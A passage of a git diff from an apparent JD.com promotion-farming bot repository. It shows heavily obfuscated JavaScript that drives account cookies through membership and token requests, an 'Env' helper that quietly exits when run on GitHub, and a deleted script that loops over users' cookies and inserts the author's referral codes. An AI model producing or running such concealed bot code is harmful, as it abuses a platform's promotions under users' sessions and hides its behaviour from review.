Promise(_0x4a8a09=>{var _0x34d613={'DpUtf':function(_0x237e84){return _0x12fb01[_0x1bd5('‫1c7')](_0x237e84);}};if(_0x12fb01[_0x1bd5('‫1c8')](_0x12fb01[_0x1bd5('‫1c9')],_0x12fb01[_0x1bd5('‮1ca')])){$[_0x1bd5('‮11e')](_0x6bfb9a,(_0xb2c779,_0x2cd0b5,_0x424b0f)=>{if(_0x12fb01[_0x1bd5('‫1c8')](_0x12fb01[_0x1bd5('‮1cb')],_0x12fb01[_0x1bd5('‮1cb')])){$[_0x1bd5('‫19')]=_0x424b0f[_0x1bd5('‫c3')][_0x1bd5('‫1b7')][_0x1bd5('‮1cc')][_0x1bd5('‮17c')];}else{try{if(_0x12fb01[_0x1bd5('‫1c8')](_0x12fb01[_0x1bd5('‮1cd')],_0x12fb01[_0x1bd5('‫1ce')])){if(_0xb2c779){if(_0x12fb01[_0x1bd5('‮1cf')](_0x12fb01[_0x1bd5('‮1d0')],_0x12fb01[_0x1bd5('‮1d0')])){$[_0x1bd5('‮127')](_0xb2c779);}else{uuid=v[_0x1bd5('‮177')](0x24)[_0x1bd5('‫178')]();}}else{if(_0x12fb01[_0x1bd5('‫1d1')](_0x12fb01[_0x1bd5('‮1d2')],_0x12fb01[_0x1bd5('‮1d2')])){if(_0x424b0f){_0x424b0f=JSON[_0x1bd5('‫75')](_0x424b0f);if(_0x12fb01[_0x1bd5('‫1d1')](_0x424b0f[_0x1bd5('‮1d3')],_0x12fb01[_0x1bd5('‫1d4')])){$[_0x1bd5('‮18')]=![];return;}if(_0x12fb01[_0x1bd5('‫1d1')](_0x424b0f[_0x1bd5('‮1d3')],'0')&&_0x424b0f[_0x1bd5('‫c3')][_0x1bd5('‮1d5')](_0x12fb01[_0x1bd5('‮1d6')])){$[_0x1bd5('‫19')]=_0x424b0f[_0x1bd5('‫c3')][_0x1bd5('‫1b7')][_0x1bd5('‮1cc')][_0x1bd5('‮17c')];}}else{$[_0x1bd5('‮1b')](_0x12fb01[_0x1bd5('‫1d7')]);}}else{_0x34d613[_0x1bd5('‫1d8')](_0x4a8a09);}}}else{_0x424b0f=JSON[_0x1bd5('‫75')](_0x424b0f);if(_0x424b0f[_0x1bd5('‮bf')]){$[_0x1bd5('‮1b')](_0x1bd5('‮17b')+_0x424b0f[_0x1bd5('‫c3')][_0x1bd5('‮17c')]);$[_0x1bd5('‮73')]=_0x424b0f[_0x1bd5('‫c3')][_0x1bd5('‮17c')];$[_0x1bd5('‮39')]=_0x424b0f[_0x1bd5('‫c3')][_0x1bd5('‮39')];cookie=cookie+_0x1bd5('‫17d')+_0x424b0f[_0x1bd5('‫c3')][_0x1bd5('‮39')];}else{$[_0x1bd5('‮1b')](_0x424b0f[_0x1bd5('‮17e')]);}}}catch(_0x3b8792){$[_0x1bd5('‮127')](_0x3b8792);}finally{_0x12fb01[_0x1bd5('‫1c7')](_0x4a8a09);}}});}else{cookie=''+cookie+sk[_0x1bd5('‫e8')](';')[0x0]+';';}});}function getShopOpenCardInfo(_0x4c91ea,_0x46d953){var _0x3d2306={'iRQUl':function(_0x4ef3c3,_0x530e76){return _0x4ef3c3!==_0x530e76;},'FRVKu':_0x1bd5('‮1d9'),'NgfcH':_0x1bd5('‫1da'),'vUJAj':_0x1bd5('‮1db'),'CyQXb':_0x1bd5('‮1dc'),'RPwnq':function(_0x3875c9,_0x328918){return _0x3875c9===_0x328918;},'pImmZ':_0x1bd5('‫1dd'),'WMypp':function(_0x5af83d){return _0x5af83d();},'yXALe':function(_0x45d689,_0xc1cebe){return _0x45d689(_0xc1cebe);},'eqrqq':_0x1bd5('‮1de'),'cxlxl':_0x1bd5('‮1bc'),'GHnAB':_0x1bd5('‫130'),'oKvXG':_0x1bd5('‫12c'),'jjijI':function(_0x13d723,_0x587b84){return _0x13d723(_0x587b84);},'eNmFq':_0x1bd5('‮12d')};let _0x7c72ca={'url':_0x1bd5('‮1df')+_0x3d2306[_0x1bd5('‫1e0')](encodeURIComponent,JSON[_0x1bd5('‮ed')](_0x4c91ea))+_0x1bd5('‫1e1'),'headers':{'Host':_0x3d2306[_0x1bd5('‫1e2')],'Accept':_0x3d2306[_0x1bd5('‮1e3')],'Connection':_0x3d2306[_0x1bd5('‫1e4')],'Cookie':cookie,'User-Agent':_0x1bd5('‮13a')+$[_0x1bd5('‫25')]+_0x1bd5('‫13b')+$[_0x1bd5('‮22')]+_0x1bd5('‫13c'),'Accept-Language':_0x3d2306[_0x1bd5('‮1e5')],'Referer':_0x1bd5('‫1e6')+_0x46d953+_0x1bd5('‫1e7')+_0x3d2306[_0x1bd5('‮1e8')](encodeURIComponent,$[_0x1bd5('‫33')]),'Accept-Encoding':_0x3d2306[_0x1bd5('‫1e9')]}};return new Promise(_0x1bd2ab=>{var _0x3c097f={'qZYmd':function(_0x45e1b4,_0x5639bc){return _0x3d2306[_0x1bd5('‫1ea')](_0x45e1b4,_0x5639bc);},'ADQnX':_0x3d2306[_0x1bd5('‫1eb')],'OOvom':_0x3d2306[_0x1bd5('‮1ec')],'xNMwK':_0x3d2306[_0x1bd5('‮1ed')],'mCtlM':_0x3d2306[_0x1bd5('‫1ee')],'JELPB':function(_0x1a1001,_0x3fe53f){return _0x3d2306[_0x1bd5('‫1ef')](_0x1a1001,_0x3fe53f);},'QkXWD':_0x3d2306[_0x1bd5('‮1f0')],'cJwFE':function(_0x313582){return _0x3d2306[_0x1bd5('‮1f1')](_0x313582);}};$[_0x1bd5('‮11e')](_0x7c72ca,(_0x139039,_0x4dc333,_0x12f194)=>{try{if(_0x139039){if(_0x3c097f[_0x1bd5('‫1f2')](_0x3c097f[_0x1bd5('‫1f3')],_0x3c097f[_0x1bd5('‫1f4')])){console[_0x1bd5('‮1b')](_0x139039);}else{$[_0x1bd5('‮127')](e,_0x4dc333);_0x12f194=null;}}else{res=JSON[_0x1bd5('‫75')](_0x12f194);if(res[_0x1bd5('‫1f5')]){if(res[_0x1bd5('‮bf')][_0x1bd5('‮f0')]){$[_0x1bd5('‮5a')]=res[_0x1bd5('‮bf')][_0x1bd5('‮f0')][0x0][_0x1bd5('‮f1')][_0x1bd5('‮2f')];}}}}catch(_0x3522ab){if(_0x3c097f[_0x1bd5('‫1f2')](_0x3c097f[_0x1bd5('‮1f6')],_0x3c097f[_0x1bd5('‮1f7')])){console[_0x1bd5('‮1b')](_0x3522ab);}else{$[_0x1bd5('‮1b')](_0x12f194[_0x1bd5('‮17e')]);}}finally{if(_0x3c097f[_0x1bd5('‮1f8')](_0x3c097f[_0x1bd5('‮1f9')],_0x3c097f[_0x1bd5('‮1f9')])){_0x3c097f[_0x1bd5('‮1fa')](_0x1bd2ab);}else{console[_0x1bd5('‮1b')](''+JSON[_0x1bd5('‮ed')](_0x139039));console[_0x1bd5('‮1b')]($[_0x1bd5('‮c')]+_0x1bd5('‫10f'));}}});});}async function bindWithVender(_0x53ae34,_0x45b689){var _0x27cc73={'FqZgs':function(_0x45832e,_0x3ade38){return _0x45832e!==_0x3ade38;},'lxNVt':_0x1bd5('‫1fb'),'zoDOQ':function(_0x524730,_0x113d72){return _0x524730===_0x113d72;},'uNjRr':_0x1bd5('‮1fc'),'HFfYt':_0x1bd5('‫1fd'),'KkqpB':_0x1bd5('‫1fe'),'ZCpCr':_0x1bd5('‮1ff'),'wBlFH':function(_0xd950f4){return _0xd950f4();},'fQdhD':function(_0x4f97c7,_0x2efd41){return _0x4f97c7(_0x2efd41);},'jULBv':_0x1bd5('‫95'),'DMrFg':_0x1bd5('‫144'),'aGgcR':function(_0x45b7a5,_0x40018a,_0x24ce05){return _0x45b7a5(_0x40018a,_0x24ce05);},'PxBCd':_0x1bd5('‮200'),'giahi':_0x1bd5('‮1de'),'RnOIA':_0x1bd5('‮1bc'),'LGSbc':_0x1bd5('‫130'),'XIjjk':_0x1bd5('‫12c'),'sJwpB':_0x1bd5('‮12d')};return h5st=await _0x27cc73[_0x1bd5('‫201')](geth5st,_0x27cc73[_0x1bd5('‫202')],_0x53ae34),opt={'url':_0x1bd5('‫203')+h5st,'headers':{'Host':_0x27cc73[_0x1bd5('‫204')],'Accept':_0x27cc73[_0x1bd5('‫205')],'Connection':_0x27cc73[_0x1bd5('‫206')],'Cookie':cookie,'User-Agent':_0x1bd5('‮13a')+$[_0x1bd5('‫25')]+_0x1bd5('‫13b')+$[_0x1bd5('‮22')]+_0x1bd5('‫13c'),'Accept-Language':_0x27cc73[_0x1bd5('‮207')],'Referer':_0x1bd5('‫1e6')+_0x45b689+_0x1bd5('‫208')+_0x27cc73[_0x1bd5('‫209')](encodeURIComponent,$[_0x1bd5('‫33')]),'Accept-Encoding':_0x27cc73[_0x1bd5('‮20a')]}},new Promise(_0x219c42=>{var _0x439829={'uRkUL':function(_0x84a501,_0x34aaca){return _0x27cc73[_0x1bd5('‫209')](_0x84a501,_0x34aaca);},'UMLck':_0x27cc73[_0x1bd5('‮20b')],'wdJjt':_0x27cc73[_0x1bd5('‮20c')]};$[_0x1bd5('‮11e')](opt,(_0xc84e4c,_0x1bc76d,_0x517b96)=>{try{if(_0xc84e4c){if(_0x27cc73[_0x1bd5('‫20d')](_0x27cc73[_0x1bd5('‫20e')],_0x27cc73[_0x1bd5('‫20e')])){$[_0x1bd5('‮1b')](error);}else{console[_0x1bd5('‮1b')](_0xc84e4c);}}else{res=JSON[_0x1bd5('‫75')](_0x517b96);if(res[_0x1bd5('‫1f5')]){if(_0x27cc73[_0x1bd5('‮20f')](_0x27cc73[_0x1bd5('‮210')],_0x27cc73[_0x1bd5('‮210')])){console[_0x1bd5('‮1b')](res);$[_0x1bd5('‫122')]=res[_0x1bd5('‫123')];}else{_0x439829[_0x1bd5('‮211')](_0x219c42,_0x517b96);}}}}catch(_0x481dd1){if(_0x27cc73[_0x1bd5('‫20d')](_0x27cc73[_0x1bd5('‫212')],_0x27cc73[_0x1bd5('‫212')])){console[_0x1bd5('‮1b')](_0xc84e4c);}else{console[_0x1bd5('‮1b')](_0x481dd1);}}finally{if(_0x27cc73[_0x1bd5('‮20f')](_0x27cc73[_0x1bd5('‮213')],_0x27cc73[_0x1bd5('‫214')])){for(let _0x5d443d of _0x1bc76d[_0x439829[_0x1bd5('‮215')]][_0x439829[_0x1bd5('‮216')]][_0x1bd5('‫e8')](',')){cookie=''+cookie+_0x5d443d[_0x1bd5('‫e8')](';')[0x0]+';';}}else{_0x27cc73[_0x1bd5('‫217')](_0x219c42);}}});});}function geth5st(_0x34b175,_0x474917){var _0x33e65d={'LiqPi':function(_0x2f1dce,_0x3353cc){return _0x2f1dce===_0x3353cc;},'CTVRC':_0x1bd5('‮218'),'ywyrQ':function(_0x36b22e,_0x43f403){return _0x36b22e(_0x43f403);},'CgAQK':function(_0x48d081,_0x2a46ed){return _0x48d081*_0x2a46ed;},'AFWyZ':_0x1bd5('‮219'),'FdoMx':_0x1bd5('‮21a'),'FQVzn':_0x1bd5('‫21b'),'BGLzi':_0x1bd5('‫21c'),'cTBVO':function(_0x382fb0,_0x2c00b5){return _0x382fb0*_0x2c00b5;},'jpuMI':_0x1bd5('‫12a'),'GDdob':function(_0x391f4e,_0x3a63a4){return _0x391f4e*_0x3a63a4;}};return new Promise(async _0x4a4b24=>{var _0x1663ba={'YerVo':function(_0x5655b1,_0x593d9b){return _0x33e65d[_0x1bd5('‮21d')](_0x5655b1,_0x593d9b);}};let _0x4227ae={'appId':_0x33e65d[_0x1bd5('‮21e')],'body':{'appid':_0x33e65d[_0x1bd5('‮21f')],'functionId':_0x34b175,'body':JSON[_0x1bd5('‮ed')](_0x474917),'clientVersion':_0x33e65d[_0x1bd5('‫220')],'client':'H5','activityId':$[_0x1bd5('‮2f')]},'callbackAll':!![]};let _0x4b46aa='';let _0x1dbe6e=[_0x33e65d[_0x1bd5('‮221')]];if(process[_0x1bd5('‮e1')][_0x1bd5('‮e2')]){_0x4b46aa=process[_0x1bd5('‮e1')][_0x1bd5('‮e2')];}else{_0x4b46aa=_0x1dbe6e[Math[_0x1bd5('‮1a9')](_0x33e65d[_0x1bd5('‮222')](Math[_0x1bd5('‫174')](),_0x1dbe6e[_0x1bd5('‮10')]))];}let _0x3b870c={'url':_0x1bd5('‫223'),'body':JSON[_0x1bd5('‮ed')](_0x4227ae),'headers':{'Host':_0x4b46aa,'Content-Type':_0x33e65d[_0x1bd5('‮224')]},'timeout':_0x33e65d[_0x1bd5('‫225')](0x1e,0x3e8)};$[_0x1bd5('‫b7')](_0x3b870c,async(_0x94c3bd,_0x5cd918,_0x4227ae)=>{try{if(_0x94c3bd){_0x4227ae=await geth5st[_0x1bd5('‮226')](this,arguments);}else{}}catch(_0x1b4edb){if(_0x33e65d[_0x1bd5('‮227')](_0x33e65d[_0x1bd5('‫228')],_0x33e65d[_0x1bd5('‫228')])){$[_0x1bd5('‮127')](_0x1b4edb,_0x5cd918);}else{_0x4b46aa=_0x1dbe6e[Math[_0x1bd5('‮1a9')](_0x1663ba[_0x1bd5('‫229')](Math[_0x1bd5('‫174')](),_0x1dbe6e[_0x1bd5('‮10')]))];}}finally{_0x33e65d[_0x1bd5('‮22a')](_0x4a4b24,_0x4227ae);}});});}async function getToken(){var _0x35d2ee={'ePSaV':_0x1bd5('‮149'),'ovkNW':function(_0x285280,_0x5ed0f0){return _0x285280!==_0x5ed0f0;},'WbUoW':_0x1bd5('‫22b'),'uPsSC':function(_0x27b14c,_0x1c14dc){return _0x27b14c===_0x1c14dc;},'ysqkj':function(_0x5dc1ba,_0x4b4970){return _0x5dc1ba===_0x4b4970;},'KvaJd':_0x1bd5('‮22c'),'qGGRN':function(_0x34bc09){return _0x34bc09();},'NOMmT':function(_0x57897f,_0x54c2cd,_0x40501b){return _0x57897f(_0x54c2cd,_0x40501b);},'dfULg':_0x1bd5('‮22d'),'glpBE':_0x1bd5('‮12f'),'hvjMT':_0x1bd5('‮1de'),'TxqUM':_0x1bd5('‮12e'),'YCLEq':_0x1bd5('‮1bc'),'StZCS':_0x1bd5('‫130'),'VWvYy':_0x1bd5('‮22e'),'ulAHj':_0x1bd5('‮22f'),'AJatj':_0x1bd5('‮12d')};let _0x18bd07=await _0x35d2ee[_0x1bd5('‫230')](getSign,_0x35d2ee[_0x1bd5('‮231')],{'id':'','url':_0x35d2ee[_0x1bd5('‮232')]});let _0xcce34c={'url':_0x1bd5('‫233'),'headers':{'Host':_0x35d2ee[_0x1bd5('‮234')],'Content-Type':_0x35d2ee[_0x1bd5('‮235')],'Accept':_0x35d2ee[_0x1bd5('‮236')],'Connection':_0x35d2ee[_0x1bd5('‮237')],'Cookie':cookie,'User-Agent':_0x35d2ee[_0x1bd5('‮238')],'Accept-Language':_0x35d2ee[_0x1bd5('‫239')],'Accept-Encoding':_0x35d2ee[_0x1bd5('‫23a')]},'body':_0x18bd07};return new Promise(_0xcb6b2a=>{$[_0x1bd5('‫b7')](_0xcce34c,(_0x1bab0c,_0x52f502,_0x32efb6)=>{var _0x487489={'eEsSO':_0x35d2ee[_0x1bd5('‮23b')]};try{if(_0x1bab0c){$[_0x1bd5('‮1b')](_0x1bab0c);}else{if(_0x32efb6){if(_0x35d2ee[_0x1bd5('‮23c')](_0x35d2ee[_0x1bd5('‫23d')],_0x35d2ee[_0x1bd5('‫23d')])){if(_0x1bab0c){console[_0x1bd5('‮1b')](_0x1bab0c);}else{res=JSON[_0x1bd5('‫75')](_0x32efb6);if(res[_0x1bd5('‫1f5')]){console[_0x1bd5('‮1b')](res);$[_0x1bd5('‫122')]=res[_0x1bd5('‫123')];}}}else{_0x32efb6=JSON[_0x1bd5('‫75')](_0x32efb6);if(_0x35d2ee[_0x1bd5('‮23e')](_0x32efb6[_0x1bd5('‮76')],'0')){$[_0x1bd5('‮59')]=_0x32efb6[_0x1bd5('‮59')];}}}else{if(_0x35d2ee[_0x1bd5('‮23f')](_0x35d2ee[_0x1bd5('‫240')],_0x35d2ee[_0x1bd5('‫240')])){$[_0x1bd5('‮1b')](_0x35d2ee[_0x1bd5('‮23b')]);}else{$[_0x1bd5('‮1b')](_0x487489[_0x1bd5('‫241')]);}}}}catch(_0x54c263){$[_0x1bd5('‮1b')](_0x54c263);}finally{_0x35d2ee[_0x1bd5('‮242')](_0xcb6b2a);}});});}function getSign(_0x11fb66,_0x295bd3){var _0x568575={'ZHNfv':function(_0x563d01,_0x5772f6){return _0x563d01===_0x5772f6;},'btVJY':_0x1bd5('‮243'),'Oxsaa':_0x1bd5('‮244'),'WUgKe':function(_0x38b078,_0x47d1c3){return _0x38b078(_0x47d1c3);},'yuqFh':_0x1bd5('‫21c'),'MiJiH':function(_0x1bbfdf,_0x4a6abd){return _0x1bbfdf===_0x4a6abd;},'FOrUS':_0x1bd5('‫245'),'Luxzc':_0x1bd5('‫246'),'uahIa':function(_0x5b0141,_0x2ad8b6){return _0x5b0141*_0x2ad8b6;},'tbYYO':_0x1bd5('‫115'),'ADVAh':function(_0x3b0150,_0x2d7319){return _0x3b0150*_0x2d7319;}};return new Promise(async _0x39fe72=>{let _0xbd3290={'functionId':_0x11fb66,'body':JSON[_0x1bd5('‮ed')](_0x295bd3),'activityId':$[_0x1bd5('‮2f')]};let _0x3e013e='';let _0x14217b=[_0x568575[_0x1bd5('‫247')]];if(process[_0x1bd5('‮e1')][_0x1bd5('‮e2')]){_0x3e013e=process[_0x1bd5('‮e1')][_0x1bd5('‮e2')];}else{if(_0x568575[_0x1bd5('‫248')](_0x568575[_0x1bd5('‮249')],_0x568575[_0x1bd5('‮24a')])){if(err){$[_0x1bd5('‫a')]=![];}else{if(_0xbd3290)_0xbd3290=JSON[_0x1bd5('‫75')](_0xbd3290);$[_0x1bd5('‫a')]=!![];}}else{_0x3e013e=_0x14217b[Math[_0x1bd5('‮1a9')](_0x568575[_0x1bd5('‫24b')](Math[_0x1bd5('‫174')](),_0x14217b[_0x1bd5('‮10')]))];}}let _0x3dae69={'url':_0x1bd5('‮24c'),'body':JSON[_0x1bd5('‮ed')](_0xbd3290),'headers':{'Host':_0x3e013e,'User-Agent':_0x568575[_0x1bd5('‫24d')]},'timeout':_0x568575[_0x1bd5('‮24e')](0x1e,0x3e8)};$[_0x1bd5('‫b7')](_0x3dae69,(_0x390cf9,_0x109463,_0xbd3290)=>{if(_0x568575[_0x1bd5('‫24f')](_0x568575[_0x1bd5('‮250')],_0x568575[_0x1bd5('‮251')])){$[_0x1bd5('‮1b')](_0x390cf9);}else{try{if(_0x390cf9){console[_0x1bd5('‮1b')](''+JSON[_0x1bd5('‮ed')](_0x390cf9));console[_0x1bd5('‮1b')]($[_0x1bd5('‮c')]+_0x1bd5('‫10f'));}else{}}catch(_0x46d3a6){$[_0x1bd5('‮127')](_0x46d3a6,_0x109463);}finally{_0x568575[_0x1bd5('‮252')](_0x39fe72,_0xbd3290);}}});});};_0xodp='jsjiami.com.v6'; -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_league.js b/jd_lzdz1_league.js deleted file mode 100755 index f070a030c..000000000 --- a/jd_lzdz1_league.js +++ /dev/null @@ -1,520 +0,0 @@ -/** -京东超店会员福利社 - -**/ - -const $ = new Env("京东超店会员福利社"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - $.getAuthorCodeListerr = false - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/code/raw/master/lzdz1_league.json') - // if($.getAuthorCodeListerr === false){ - // authorCodeList = [ - // '6579dde1e3b34091baecb2cd4381786f', - // ] - // } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - console.log('更新ck'); - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - authorCodeList = [ - '8e07c72a5686489e8fb2785d3abdcf70', - 'bc8c2618444f4b64baee1497a8418870', - // '12958ed848ea42c9a0d9d8df6e9199ad', - ] - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = 